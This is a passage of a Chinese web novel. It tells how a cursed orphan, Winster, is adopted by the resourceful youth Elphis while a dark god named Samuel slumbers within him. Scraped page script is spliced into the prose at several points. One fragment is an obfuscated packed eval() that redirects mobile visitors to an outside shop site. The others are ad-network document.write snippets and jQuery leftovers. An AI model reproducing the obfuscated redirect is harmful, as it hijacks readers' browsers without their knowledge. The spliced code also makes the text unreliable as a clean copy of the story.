温斯特这些年没饿死,除了命硬,全靠自己打理菜地,去山上捕蛇捕鸟摘野果野菇,下河抓鱼,而他又没有打猎设陷阱的经验,吃到肉的时候少得可怜。 经常吃不饱再加上父亲打骂,别说外人奇怪了,连温斯特自己都疑惑他为什么还没死? 温斯特的父亲死后,村民更不想容他,但被那双黑沉沉的眸子一看,就没人敢近身对他做什么,生怕沾染上了厄运,只有小孩子们敢用石头砸他。 没过多久,老村长那离家快十年的儿子从外面回来了,这件事本来与温斯特无关,他也不知道别人的家事,直到某天村长父子闯进了他家,把温斯特绑起来了,告诉村民他们要把恶魔带到大城市,请神官净化他。 没有人阻拦,众人只觉欣喜,就像能摆脱始终悬在这片土地上的阴云。 温斯特被绳子束缚住,挣扎无果,沉默地听着村长埋怨儿子,当年把村里唯一一匹马交给他,助他远行在外找个好营生,结果这么多年不回来,然后被儿子一番情真意切的表演给哄住了—— “我这次就是回来接您离开的,没想到村里居然诞生了黑暗之子!把他送到教廷,我们可以拿一万金!父亲,我们这次可要发财了!” 温斯特听着男人跟他父亲讲了光明神和教廷的事情,以及他们会如何对付邪恶的黑暗种族。 外界几乎都知道黑发黑眸的人价值多少钱,也只有他们这种小村子没听过了,正好让他们父子捡了便宜。 然后老村长开始讲述小孩儿的邪恶之处,吓得男人当场就想把温斯特打死,免得他招来厄运,反正只要是黑发黑眸,就算是尸体教廷也会认的。 不过考虑到旅途遥远,带着一具尸体有些恶心渗人,两人便打消了这个想法。 白天赶路,父子俩只绑着小孩儿的手,牵着绳子的另一头拉着他走,到了夜晚休息的时候,便把手脚都绑住了扔在地上。 好像一只像待宰的猪啊,温斯特这么想着。 比起饥肠辘辘,比起正在送死的路上,温斯特更烦这种失去尊严的狼狈模样。 他都不知道一个被所有人嫌弃,一无所有的自己为什么还会在乎尊严这种不能吃的东西。 但就是这么奇怪,他很在乎,像在乎生命一样的在乎,不想像这般被当成牲畜对待! 傍晚,父子俩在河边升起了火堆,烧起了水,准备煮蔬菜汤,吃烤面包,至于那个小孩儿…… 男人左右看看,最后在几株腰部高的植物上采了几颗黑色小果子,随意地扔到温斯特面前,“快试试有没有毒。” 旁边的村长道:“这小怪物命可硬了,有毒也吃不死他,儿子,你可别吃这些不认识的果子。” 温斯特面无表情地看着面前沾着尘土的小果子,耳边是两人在畅想拿到赏金后要做什么,他觉得很吵,额间青筋跳动,积压的戾气终于爆发—— “闭、嘴!” 然后小孩儿失去了意识。 等他醒来的时候,已经是第二天早上了。 火堆早已烧尽柴火,那对父子倒在地上双目大睁,眼中布满血丝,和他们旁边的火堆一样,不剩一丝余温。 而温斯特自己,他身上的绳子已经断成了几截——他自由了。 小孩儿愣愣地看着尸体,想起了村里人总说他是恶魔附身,他之前从未这么想过自己,村里死掉的人,不过是自己倒霉罢了,他从来没有做过什么坏事。 直到此刻,温斯特突然信了——原来他身上真的有恶魔,昨天晚上他想让俩人去死,心怀恶意,所以释放出了恶魔…… 温斯特站了不知道多久,却并没有因为自己身上的诡异感到害怕,也不为被他厄运牵连的人命而愧疚,因为他根本不在乎。 ——天性冷漠无情,温斯特甚至觉得他不是恶魔附身,他就是恶魔本身! 干瘦的小孩儿拿走了父子俩的衣物和不多的铜币,开始了躲躲藏藏的流亡。 他胡乱走的方向,却幸运的遇见了艾尔菲斯,结束了历经八年的苦难。 温斯特在乎艾尔菲斯,他不想有一天醒来,看见哥哥变成村长父子那样。 可他不知道自己哪天会失控,伤害到哥哥和镇上其他哥哥在乎的人,温斯特只能尽量避免和他们接触。 —— 艾尔菲斯可不知道小孩儿的心事,老话说‘爱哭的孩子有糖吃,懂事的孩子没人疼’,在他这边却正好相反,别看艾尔菲斯跟谁都能打好交道,是个热忱的性子,实际上他喜欢清静,平日的笑也多为假笑。 爱哭的孩子他只会嫌吵,像温斯特这样的他就愿意长期养着,即便不爱靠近人,但艾尔菲斯觉得那孩子像一头小狼崽,敏锐、沉着、坚韧,有难驯的野性,让他很是欣赏。 温斯特始终跟他保持着距离,但艾尔菲斯不觉得这是一头喂不熟的白眼狼,相反,小孩儿是属于忠诚那一类。 艾尔菲斯欣赏并心疼着他,所以即便嫌一天送三餐的事有点烦,也坚持了下来。 到了春天,艾尔菲斯给小孩儿拿了薄一些的合身衣物。 这一天也是送热水过来洗头洗澡的日子,所以温斯特没有藏起来,他终于征得小孩儿的同意给他修了一下变长的头发了。 他也没什么手艺,剪子咔嚓咔嚓几下,给温斯特弄了个碎刘海,长发齐肩的发型,主打一个整齐又不遮眼睛。 温斯特身量拔高了一截,脸上也有肉了,眼神沉静,单薄一点的衣物又显得整个人干净利落。 比起初见时的干瘦模样,一个冬天的变化堪称脱胎换骨。 欣赏了一下他养出来的浓颜系小帅哥,艾尔菲斯拍拍温斯特的脑袋感叹道:“我家小孩儿也太好看了,也不知道以后会吸引多少女孩子。” 温斯特被哥哥亲昵的动作和话语闹的不好意思,别扭地盯着地面,小声道:“艾尔哥哥是最好看的。” 艾尔菲斯轻笑一声,他看着温斯特害羞的样子,觉得小孩儿内心没那么抗拒他的接近了,或许等他再适应一段时间,可以再提一下搬到他那里住的事情。 “哥哥明天有事,中午不过来了,早上多给你准备点食物,中午你热一下再吃。” 温斯特乖乖点头,他知道哥哥每隔几天时间就会外出。 这次艾尔菲斯却不是去城里,而是要和镇上几个已经学会骑马的男人一起进森林挖竹笋! 他们自己种的竹子还不够多,到了吃春笋的时候就不能肆无忌惮地挖来吃。 森林里的那片竹林又太远,这两年他们去的几次都是挖小竹子回来种,笋子就吃的少了。 但是他们今年有马了!可以更快地跑到竹林那边,以前几天去一次他们都嫌累,现在每天跑一趟都没问题啊! 于是今年春,利塞镇开在城里的特产小店又开始出售鲜笋和笋干,酒馆里多了好几样春笋有关的菜品,有时候还点不到呢,听老板说货商几天才送一次。 卖春笋对于镇民们来说就是无本买卖,森林里的东西要什么本钱,最多就是有点耗费马儿的体力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711037|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 很快,那几匹马就成为了镇宠,靠它们赚了钱的人特别积极地给它们驱虫、清洗、梳毛、喂食,几匹马儿越发膘肥体壮,油光水亮,像是贵族精心养护的马匹。 又在特产店和酒馆大赚了一波的艾尔菲斯给温斯特接连准备了好几日的硬菜,红烧肉、清蒸鱼、肉丸汤、烤全兔…… 有天晚餐时,艾尔菲斯来的有些早,温斯特没来得及藏起来,接过了那一大碗放着几根菜叶和一个煎蛋的肉丝面。 艾尔菲斯慈爱地看着孩子,“多吃点,看你瘦的,还没我们吃草的马长得好。” 温斯特:“……”你前阵子才夸我好看的。 艾尔菲斯看了一眼栓在洞口英武雄壮的马匹,再次诱惑小孩儿,“真的不想骑马跑一圈吗?” 想,怎么会不想呢? 但温斯特只是沉默地摇头。 艾尔菲斯疑惑,这孩子不是胆小的性子啊。 “为什么不想?怕摔下去吗?哥哥会保护好你的。” 温斯特撇开头往嘴里塞面,片刻后,终于说出了真正的原因,“我会带来厄运,说不定我会害你摔下去。” 艾尔菲斯征然看着小孩儿沉闷的眉眼,好像明白了什么…… 该不会温斯特不爱跟人接触,并非自闭或者什么容易应激,而是担心自己会无意间伤害到别人? 艾尔菲斯将他的猜测问了出来,其实温斯特担心的人只有哥哥,但他不好意思特意挑出这点来说,只闷闷地“嗯”了一声。 少年看温斯特的眼神更加柔和——即便经历了无数伤害,也依旧对世界报以善意吗…… 艾尔菲斯开始跟小孩儿讲教廷就是一个会编造各种故事来控制平民思想的特权阶级,所谓的黑暗种族威胁论就是用来吓唬平民,让大家对教廷形成依赖,从而好纂取金钱和权力blablabla…… 他力争破除温斯特的封建思想,想让小孩儿对自己有正确的认知。 温斯特听得一愣一愣,饭都没吃了,他很想相信哥哥说的话,但是…… 温斯特紧咬着唇,看起来在做激烈的思想斗争,在艾尔菲斯温柔又饱含期待的目光下,他终于颤着声音说出了曾经见证的死亡…… 哥哥会恐惧他吗?会不会再也不愿意靠近他了?会不会……让他离开这个地方…… “食物中毒,一定是食物中毒!” 温斯特迷茫抬头:“……?” “你被带走的时候是夏天,食物很容易放坏的,幸好那对父子吝啬,没给你吃他们的食物,否则你也危险了。” 艾尔菲斯后怕地摸摸小孩儿的头,“至于死在村里的人,世界上每天都有很多人病死,摔死,溺死甚至是饿死,哪里没有意外发生,那些人不过是把生活的不满发泄到你身上罢了,不必将他们说的当真。” 温斯特抱着双膝看着好似在发着光的少年,他很想很想相信哥哥说的话,可是万一呢…… “万一我真的是不祥之人,哥哥会被我害死的……” 艾尔菲斯听得心软,一定要搞迷信的话,他就顺着小孩儿的思想忽悠吧。 “你担心的事不会发生,哥哥被丢进河里都能被好心人捡到,能健康长大,还能顺利做成点小生意,说明我是一个被好运眷顾的人,不会被厄运所害的。” “况且,你既然信教廷的传言,自然也该相信神明存在,牧师爷爷在教堂安置了神像,每日祈祷,有神明的庇佑我们,还怕镇压不住你的厄运?” 小孩儿睁大了眼看着自信满满的艾尔菲斯——哥哥说的,好像有点道理啊…… 艾尔菲斯点了点发愣的小朋友的额头,“别发傻,快吃饭,吃完了哥哥带你回家。” 温斯特听话地端起碗往嘴里塞面,没说好,却也没再拒绝,鼻子发酸,眼眶一热泪珠子就落下来了。 艾尔菲斯为数不多的怜悯心基本都用在可怜又懂事的小孩子身上了,温斯特这一哭,他顿时慌乱地哄人了。 等小孩儿吃完面,艾尔菲斯和他收拾了一下要带走的东西,然后弯起了眉眼,向他伸手,“走吧,哥哥带你骑马回家。” 那只手修长白皙,骨节分明,可惜因为常年做各种工活而有了一层薄茧和细小的划痕,破坏了完美手型的矜贵感,却让温斯特觉得异常安心。 温斯特被哥哥牵着手往洞外走,他仰头看着唇畔含笑的温柔少年的侧脸,乌黑的眸像是被泪水洗去了阴霾,第一次如此刻这般亮晶晶的。 一团柔和的白芒从小孩儿身上凝出,飘向了旁边的艾尔菲斯身上—— 而就在这一瞬间,温斯特收敛了所有喜悦!黑眸幽暗冰冷,不似稚童,本就昏暗的洞穴又失去了几分亮度,艾尔菲斯以为是天色晚了的原因。 塞缪尔眼睁睁地看着自己的信仰落到一个人族小崽子身上,面沉似水。 14. 第 14 章 危机感一闪而过,艾尔菲斯打了个颤栗,莫名低头看了一眼被他牵着的温斯特。 小孩儿眼睛亮晶晶的,安安静静地看着他,艾尔菲斯一眼就看出他的开心和期待,对着温斯特笑了一下。 唔……这个天温差大,刚才大概是冷到了吧。 夕阳下,艾尔菲斯将小孩儿环在身前,骑着骏马回到了小教堂。 如他所料,卡文爷爷果然对他要收养一个孩子的事情没有意见,甚至颇为欣慰。 留着花白胡子的老人慈爱地摸摸少年的头:“艾尔,我这些年总担心你会一心沉迷金银俗物,追求享受奢靡的生活,忘记了对神明的感恩之心和教廷教导的信条,我的艾尔还是如此良善,愿意救他人于苦难之中,没有让爷爷失望。” 艾尔菲斯刚要和爷爷互夸是他教导有方,就听老人接着说:“这样看来,就算日后爷爷离开人世,也能放心的把教堂托付给你了。” “……”别,我怕忍不住把它改造成财神庙。 “爷爷,别说这些不吉利的话,您身体好,又有神明庇佑,还能活很久呢。” 艾尔菲斯跟卡文爷爷聊了几句未来,老人家又关怀了几句温斯特的情况,才放两人进屋子。 “这两天先和哥哥一起睡可以吗,等我找人做一张新床,再分开睡。” 温斯特看着简单整洁的屋子,又期待又紧张,小脸难得有了神采,艾尔菲斯说什么他都乖乖应下。 天色还有一点光亮,艾尔菲斯带着小孩儿去厨房烧热水准备洗漱。 “会烧火吗?” 温斯特点点头,“会。” 艾尔菲斯摸着他的发顶,“真厉害,那帮哥哥看一下火,我去帮你收拾一些衣服出来。” 他早就想过把小孩儿接回来住,所以新被子新枕头都是备好了的。 他拿出来放在床上,再把自己穿着已经有些小了的衣服鞋子翻出来,先让小孩儿将就穿着,哪天他愿意跟自己进城逛逛,再添置些新的合身衣物。 洗漱好,温斯特趿着草拖鞋,和哥哥一起坐到桌边。 房间里点了五盏油灯,很是明亮。 “时间还早,来学一下认字,先学自己的名字怎么写……” 温斯特的记忆力出乎意料的好,艾尔菲斯在睡觉前顺利教会了他不少字,非常有成就感。 熄灯后,温斯特躺在柔软的,没有丝毫土腥味的床上,盖着又轻又暖的兔毛被子,旁边是世界上最好的哥哥。 第一次处于如此舒适安全的歇息环境,他却毫无睡意——这会不会是一场美梦?他晃一下神,梦就结束了,而他依旧在洞穴里。 温斯特侧过身,看着哥哥在黑暗中的轮廓,忽然想起被哥哥牵着的温暖触感,便心安了许多。 情绪几番波折是很耗精神的,更何况现在早已过了温斯特平日睡觉的点,他一放松下来,很快便被睡意淹没。 翌日,艾尔菲斯带着小孩儿在小镇上走了一圈,带他认一下路,也给镇民们介绍一下他,身份就是父母双亡、无家可归,躲在威尔大叔的板车里睡觉却不小心被他们带回镇上的孤儿。 大人们无所谓,只感叹温斯特的好运,居然遇到了愿意收养他的艾尔菲斯,跟着艾尔一定能学很多东西。 镇上的小孩子们就不太喜欢这个外来人了,只因艾尔菲斯平日都很少和他们一起玩,这个男孩儿居然能和艾尔哥哥/弟弟住在一起! 下午,艾尔菲斯把温斯特放在卡文爷爷那里和其他孩子们一起学习。 威利在三年前发烧的时候被艾尔菲斯救过后,就一直非常崇拜他。 艾尔哥哥叫他们好好识字看书后,小威利是全镇学的最认真的,字写的最好看的小孩儿了,得了卡文牧师多次夸奖,可是今天,牧师爷爷居然夸赞那个外来人和艾尔哥哥一样聪明! 本来就有一些不喜欢外来人抢了艾尔哥哥/弟弟的注意力,再加上温斯特又不爱笑又不说话,看上去很冷漠,镇上的孩子们都不喜欢他。 多数小孩子的脾气都是直来直往的,把对温斯特的不喜写在了脸上,还反驳牧师爷爷这个人哪里比得上艾尔哥哥/弟弟,然后七嘴八舌的列举了艾尔菲斯好在哪里。 温斯特没有一点被针对的失落,倒是很高兴听到别人夸赞哥哥,甚至难得享受这种吵闹的氛围。 卡文牧师照旧每天讲一首旅者的诗或者游记,再教三十个字就下课了。 一群小孩儿放学就三五成群地约着玩了,也没有人主动跟温斯特说话。 温斯特一点都不介意,虽然他自己年龄也不大,却已经开始嫌弃小孩子了,只觉得他们又笨又吵。 艾尔菲斯不会随时把温斯特带在身边,他外出的时候基本都是和大人们一起商讨正事,小孩子们都会觉得无聊,他认为温斯特最好还是和同龄人一起玩耍和接受教育更好。 艾尔菲斯和镇长、威尔大叔们一起讨论了未来两个月的商业规划、人员分配和他们从镇民们手上拿货的采购价等事项,等太阳在往西边沉了,大家才意犹未尽地散去了——要赶在天色彻底暗下来之前做完其它杂事啊。 艾尔菲斯准备未来一段时间少去酒馆吃饭,还是自己在家做吧,主要也是为了教导他家小孩儿一些生活技能。 挽起袖子的小少年一边擀着面皮,一边跟旁边烧火的小孩儿聊天,“今天过得怎么样?有交到朋友吗?” 温斯特抿了抿唇,心虚地看着哥哥,小声问道:“我可以不交朋友吗?” 艾尔菲斯以为小孩儿还不适应人群,有点社恐,便也不跟他讲什么大道理,先让他适应新环境要紧。 “随你开心就好,对了,今天跟爷爷学了什么?” 温斯特看着哥哥包容又温柔的笑,本来松了一口气,听到后面的问题心情又沉了下来…… 在其他小孩儿离开之后,卡文牧师拉着温斯特,不厌其烦的又开始讲神明救世的故事了。 利塞小镇的人早就听过光明神和教廷的恩德,可惜这几年他们的信仰越不越不虔诚了,让卡文很是失落,现在有个小孩子住进了教堂,当然是传教要从娃娃抓起了! 卡文牧师倒是讲的开心了,但温斯特不知道为什么,听见那些歌颂光明神的诗篇颂词就觉得耐心告罄,难道因为他是黑暗种族,天生就不喜光明? 温斯特跟哥哥讲了他一下午都学了什么,艾尔菲斯觉得小孩儿本来就有些迷信,可不能让他继续被爷爷洗脑了,否则他更对自己会带来厄运的事情深信不疑了。 “爷爷讲的神明救世和教廷历史,都是些没有依据的事,你就当消遣,听听就得了,不必放在心上。” 小少年将面皮擀成薄片,叠了一下准备切成细丝做面条,嘴上继续说着,“不过在爷爷面前还是要装一下我们很崇拜神明的样子,要哄老人家开心。” 温斯特听出了哥哥对光明神和教廷的不尊重,他知道哥哥是单纯的不相信,却也有一种对方是和他一样站在神明对立面的愉悦感。 “那……爷爷说我们等一会儿要在神像面前颂扬神明恩德,是一定要跪着吗?” 温斯特昨天晚上来的时候刚巧碰上老人家虔诚地跪拜在神像面前,才有此一问。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>想到这件事情,温暖明媚的火光都掩不了小孩儿脸庞的郁色。 如果说只听故事会让他觉得心理不适的话,跪拜感恩就是让他从生理上就犯恶心,如果真的避免不了的话,温斯特甚至在犹豫要不要回洞穴住着。 艾尔菲斯看出了小孩儿的为难,这也不难理解,换做是他,谁要是让他跪拜感恩害自己流离失所的存在,他不恶心才怪。 “不喜欢光明神?” 温斯特委屈地“嗯”了一声。 少年擦了擦手,走到厨房门口确认了爷爷没往这边走后,才坐到小孩儿旁边递给他一个金币,笑眯眯地说道:“那就不要把神像当成光明神,将它当成财神爷吧,跟哥哥一起拜财神。” “……?” 温斯特睁大了眼睛,迷茫地看着大男孩——财神又是什么? “只要我们努力劳动,踏实做生意,财神就会保佑我们顺利获得金币,日子过得越来越好。这是一个只管钱的,很纯粹的神明。” “就算光明神真的存在,信仰祂的人那么多,祂肯定照看不到我们头上,不如跟哥哥信财神爷,这个世界只有我们念着祂,祂定然会偏爱我们的,刚巧财神又是黑发黑眸黑色长胡须的慈祥老爷爷,不会对你有任何不喜的。” 温斯特看着哥哥煞有其事的样子,沉默了……哥哥到底是相信神明的存在呢,还是不相信呢? 小孩儿犹疑着开口:“真的有这样的神明吗?”怎么听都是哥哥现编的啊。 小少年长睫一闪,他其实是无神论者,但是……咳,财神还是可以信一信的,而且让他家小孩儿拜财神总比拜光明神好啊。 “当然,哥哥已经拜了三年了,现在我是镇上最有钱的小孩子了。”甚至比威尔大叔还有钱,但是做人要低调。 “哥哥梦见过财神,以后捏个泥像,给你看看祂老人家的模样。” 温斯特不是那种别人说什么就信什么的性子,不过…… “全世界只有我们两个会信这位财神吗?” 艾尔菲斯点了点头。 温斯特接过哥哥递给他的金币,财神的象征,“那,那我等会儿就想着财神,不想光明神了。” 在这个遍布光明神信徒的世界,他和哥哥就是两个异教徒,这是他们之间的小秘密——这让温斯特觉得跟哥哥的关系更亲近了。 况且,不管这位神明是不是真的存在,既然哥哥喜欢祂,那祂一定是好的,至少比会让他感到恶心的光明神要好。 当晚,卡文牧师除了念叨那些日常的颂词,还感恩了神明对温斯特的照拂,让他幸运的有了新家。 艾尔菲斯扯了扯嘴角,确实“照拂”不少,让人家吃了不少苦头呢。 两孩子阳奉阴违,看似在赞美光明神,但手心握着金币,心里想的都是财神爷。 深夜,整个利塞小镇都陷入了安眠。 床铺上,沉睡的小孩儿倏地睁开眼,眸色深沉。 塞缪尔偏头看着睡得一无所知的小崽子,差点被气笑了——在那小破村子那么多年,他也只在杀了那对父子那天醒了一次,没想到如今被一个模样挺纯良的人族崽子接连刺激醒了两天! 财神?什么乱七八糟的!居然敢忽悠我拜一个听都没听过的野神…… 小孩儿眯了眯眼,一片浓稠的黑暗包围了床铺。 艾尔菲斯打了个寒颤,但他白日忙碌,晚上向来睡的雷打不动,只在朦胧中裹紧了被子,没有发现丝毫异常。 塞缪尔冷哼一声,终究没有对一个小崽子下手。 “等你长大了再收拾你。” 15. 第 15 章 温斯特被哥哥起床的轻微声响惊醒,却没有跟着起来,他莫名的有些头痛,却忽略了不适,睁着眼努力回忆梦里的信息。 大概是昨日听卡文爷爷讲了一些神明的故事,他昨夜便梦见了那些非凡的存在——掌握时间和空间之力的创世神,还有分别掌握光、暗以及金木水火土风雷的九大主神。 神明具体是如何诞生和祂们的模样温斯特记不起来了,脑中最清晰的印象只剩主神、次神和祂们的从属种族中,是没有财神的…… “吵醒你了吗?再睡一会儿吧,我去汤尼大叔家买了早饭回来再叫你。” 温斯特回过神,“我可以和哥哥一起去吗?”他要帮忙提篮子,不能让哥哥太累了。 至于梦里的内容……是真是假都没关系,重要的不是信仰了什么神,而是和哥哥有了小秘密。 之后,塞缪尔再次出现接收了新的记忆和想法之时,对失去所有记忆的自己嫌弃的不行——幸好祂诞生之初便生而知之,没有傻乎乎的幼年期,否则非得被一些虚伪的家伙骗到死。 艾尔菲斯养孩子养的很舒心,温斯特乖巧又安静,聪明又沉稳,从来不会烦到他,教什么都学得快,让他很有成就感,甚至在十一岁的年纪就为自己的事业后继有人而感到欣慰。 温斯特每天过得充实又忙碌,除了每日听卡文爷爷讲故事的时候心里有点膈应,其它一切都很好。 尤其是和哥哥在一起的时候,不管做什么都很快乐,他以前从未想过,能衣食无忧、光明正大地走在人来人往的道路之中。 正值春季,森林里的可用资源逐渐丰富了起来,艾尔菲斯会在早上带小孩儿去森林里摘野果,采蘑菇,教他辨认哪些是可以食用的。 他会教温斯特制作陷阱,陪他一起练箭术,还教他骑马。 他家小孩儿不爱和同龄人一起玩,他就带在身边教些生存技能和生活常识好了。 温斯特学什么都很认真,他总觉得会的越多,越能保护自己——有一种人天性要强,很难从别人身上获得安全感,只愿意依赖自己。 温斯特信任哥哥,却不愿意依赖哥哥,他希望自己能早日强大起来,成为哥哥的依赖,为此,他什么都愿意做,甚至学了艾尔菲斯每日早晚做的奇怪动作。 他虽不懂这些慢吞吞的动作有什么作用,但是哥哥做的事,必然是有意义的。 艾尔菲斯可高兴温斯特愿意陪他打太极了,小孩儿不理解但是仍旧安静陪着他的举动也实在让人觉得欣慰。 除了教学,艾尔菲斯也带着温斯特在小镇上仔细看了一圈,跟他讲了一下这里都在做些什么生意。 “这些日子,有空闲的人都开始忙着编织凉席了,威尔大叔以三十铜币一张的价向他们收购,然后囤着,等天再热些就送到城里卖。” “没耐心做编织的,就在大太阳的时候晾些干笋干蘑菇,也可以晒些干花干果片卖出去用于泡水。” 这些东西都是要送到开在拉斐城的特产铺子里去的,这个铺子还是艾尔菲斯和威尔大叔一起花了大价钱买下的。 威尔大叔负责跟镇民们打交道买下货物,再打包好运到城里,艾尔菲斯和他平摊本钱,再加价卖出去,利益均分。 隔几日艾尔菲斯就要核对账目,也不怕雇的人趁他们不在就吃油水。 艾尔菲斯负责脑力部分,威尔大叔负责收购运输,他们合作的相当愉快。 不过具体的生意模式就没跟温斯特说了,孩子年龄小,还没有了解这些的必要。 “你要是也想赚钱,可以和他们一样晾些东西卖给威尔大叔,但是一定要注意不要掺进不认识的花果,若是带毒就麻烦了。” 温斯特不知道哥哥已经是可以动口指挥别人,除了家务就基本没有做其它苦差的小老板了。 他只知道牧师爷爷没有在做赚钱的活,用的都是年轻时存下的钱。 而自己下午留在教堂听课的时候,哥哥也经常出去(其实是出去视察镇民们工作的),一定是去别人家做苦工了,隔几日还要大老远的送货进城(主要是去拿钱的),哥哥一个人养家真是太辛苦了! 温斯特很快就学会了很多事情,帮艾尔菲斯分担了几乎所有家务,甚至在下课后一点都不贪玩,安静地做草编竹编,晾晒些干货卖给威尔大叔。 小孩儿乖的让艾尔菲斯心疼,每天看见温斯特安静的做事就犯愁。 哎,他家孩子什么都好,就是不喜欢跟除了他以外的任何人接触,包括一个屋檐下的卡文爷爷,相处一段时间下来,他就没有见到小孩儿对爷爷笑过。 温斯特完全是看在哥哥的面子上耐着性子听老人给他讲教廷的各种善举,包括能日复一日的违心颂扬神明,也完全是因为艾尔菲斯在旁边陪着,他说出口的赞美之词,其实都在心里送给哥哥了。 卡文牧师倒没有意识到温斯特的亲疏之分,他只认为温斯特在被他们收养之前在外面吃足了苦头,心里藏了很多事儿,才养成这般沉默寡言的性子,不过人很勤快,没有老人不喜欢勤快的孩子。 某天吃晚餐时,卡文牧师感慨道:“以前是艾尔喜欢在小院子里倒腾些东西卖钱,现在轮到小温斯特在这里忙活了,小小年纪就开始赚钱养家了,都是懂事的好孩子,能收养你们,是爷爷的幸运。” 艾尔菲斯笑眯眯地搭话:“爷爷好不容易把我养大,还愿意收留温斯特,给那么多孩子授课,讲述外面的世界,我们照顾您是应该的,好人有好报嘛。” “不不不,我并没有为你们两个做什么,一定是光明神看到了你们美丽坚韧的灵魂,不忍你们遭受苦难,才指引你们来到我的身边,有了一个栖息之所,感恩神明。” 艾尔菲斯/温斯特:“……”您高兴就好。 一段时间后,温斯特卖了他做好的东西,拿到了人生中第一笔工钱。 小孩儿难得兴奋,抿嘴笑着将一个银币——他所有的工钱都交给了哥哥。 艾尔菲斯顿时感动地抱住了小孩儿,摸摸他的后脑勺,觉得他家好大儿真是太孝顺了! “爸…哥哥不要你的钱。”好险,还好及时收住了嘴。 艾尔菲斯跟小孩儿开着玩笑:“平时需要什么跟哥哥说,自己赚的钱可以存着当老婆本。”提早培养一下存钱意识也不错。 “什么是老婆本?” 小少年轻柔地捏了一下小孩儿已经养得圆润的脸颊,“嗯……就是留着娶妻用的,我们家温斯特这么好看,以后不愁娶不到媳妇儿。” 温斯特对娶媳妇儿的事毫无兴趣,坚持要把钱交给哥哥,但是艾尔菲斯哪好意思收小孩儿辛苦这么长时间赚来的一个银币,哄着小家伙自己存好。 温斯特有些失望,不过很快想开了,那他就努力存钱好了,总有一天能养哥哥的! 艾尔菲斯把他捏了一阵子的泥塑财神爷送给温斯特,泥塑跟他们脑袋差不多大。 他照着记忆里的印象捏出个大概后,拿小刀精心刻画了细节,晒干后涂上了颜料,看起来相当喜庆,“给,财神爷保佑你能顺顺利利地赚钱,过上衣食无忧的好日子。” 温斯特接过穿着金红外袍,戴着奇怪帽子,身材微胖、黑发黑眸黑色长胡的泥塑,是个慈眉善目的老爷爷,手上拿着一枚真金币,比教堂里的光明神神像要顺眼很多。 “谢谢哥哥。” 温斯特以为哥哥是特意把泥塑的眼睛头发涂成黑色来哄他高兴的,他珍惜的将之放到他们俩的屋子里。 艾尔菲斯:每天起床都能看见财神爷对我笑,开心! —— 艾尔菲斯不在家的时候,温斯特就一刻不闲的给自己找事做。 后来实在有些受不了卡文牧师慢吞吞的絮叨了,他直接请老人给他加课,继续教他认字——他如此努力,除了想快些变优秀好帮上哥哥的忙,骨子里就追求强大也是一大原因。 经常是教到艾尔菲斯回家了,有些疲惫的卡文牧师才松了一口气。 艾尔菲斯很快便发现温斯特能大致顺利地看完一本书了,睡前的阅读时间,小孩儿来问他生字的次数减少的很快。 才接回来住了一个多月,温斯特的学习进度就赶上了已经持续了很久每天上小半天课的其他孩子。 这记忆力已经不能用好来形容了,恐怕是过目不忘。 艾尔菲斯现在完全是老父亲心态,孩子懂事爱学习他是欣慰的,但又忧虑孩子的社交能力。 某天睡前,艾尔菲斯委婉劝说:“童年短暂,多玩乐几年也没关系,能结交一两个朋友最好,不必这么小就辛苦劳作赚钱,哥哥养得起你。” 坐在木桌前看书的小孩儿抬头看了对方一眼,又埋着脑袋像是有几分不好意思的低声道:“爷爷说我像哥哥小时候,不爱和同龄人玩,就喜欢忙活自己的事,我、我不想玩,我要像哥哥一样努力……” 艾尔菲斯一噎:“……”他不一样啊,他一个成年人跟小孩子玩不到一起才是正常的! 算了,强扭的瓜不甜,他看温斯特只是性格冷淡慢热,并非胆小才不愿意接触别人,以后放出去应该不用担心被欺负。 生活就这样平淡又顺遂的过着,比起遇见哥哥之前的日子,温斯特现在就像生活在梦里一样——不,不能拿梦做比较,温斯特并不喜欢他的梦。 他还未离开出生的山村之时,便会隔三差五的做些离奇的梦,但是因为眠浅,从来都没睡安稳过,醒来后几乎对梦里的事情没什么印象,却仍旧残留一丝似曾相识之感——只是这种感觉在彻底清醒后就消失无存了。 但是和可以信任的哥哥住在一起后,处在一个安稳舒适的环境中,睡眠自然也会沉一点, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 温斯特对梦里的事情印象也会深一些。 虽然他醒后只记得零散的信息,但也能确定每一场梦都跟美好或者平凡不沾边。 非但没有美梦,他还反复梦到一些衣着华丽却面容模糊的人,庞大凶残的野兽,飞溅而出的猩红,永恒昏黄又荒凉的土地……以及,像是能随时活过来吞掉靠近活物的黑色宫殿…… 美好的日子一天天过下去,温斯特本应该适应安逸的生活,逐渐遗忘灰暗的过往,但这些梦做的越多,温斯特越是不安——是附身于他的恶魔要苏醒了吗? 哥哥说了,若是存在恶魔,也必然存在神明,他住在神光庇护的教堂,难道还不够镇压恶魔吗? 他跟哥哥住在一个屋子,会不会有一天醒来,看见哥哥已经被他所害,就像村长父子一样……? 温斯特没过多久安稳无忧的日子,便又回到了从前的警惕心态,因为抗拒梦境,他最近入眠时都是半睡半醒——他不想被怪物的记忆入侵了脑子。 艾尔菲斯很快便察觉到了他的变化。 不知为何,最近小孩儿总是很没精神的样子,像是没睡够。 对他也没那么亲近了,有时候笑起来也很勉强。 这也不像是叛逆期的表现啊……艾尔菲斯实在猜不透这个经历复杂的小孩儿在想什么,便直接问了。 温斯特每次不开心的时候,便习惯性地埋着脑袋说话,“就是这几日经常做噩梦,没睡好,哥哥不用担心。” 艾尔菲斯叹息一声,频繁做噩梦,应该跟以往的经历脱不了干系,这是留下了多大的心理阴影啊…… 这个时候就需要儿童心理专家了,可惜没有,艾尔菲斯也不擅长开导心理问题,只能尽力对孩子好就是了。 温斯特被收养的两个多月后—— 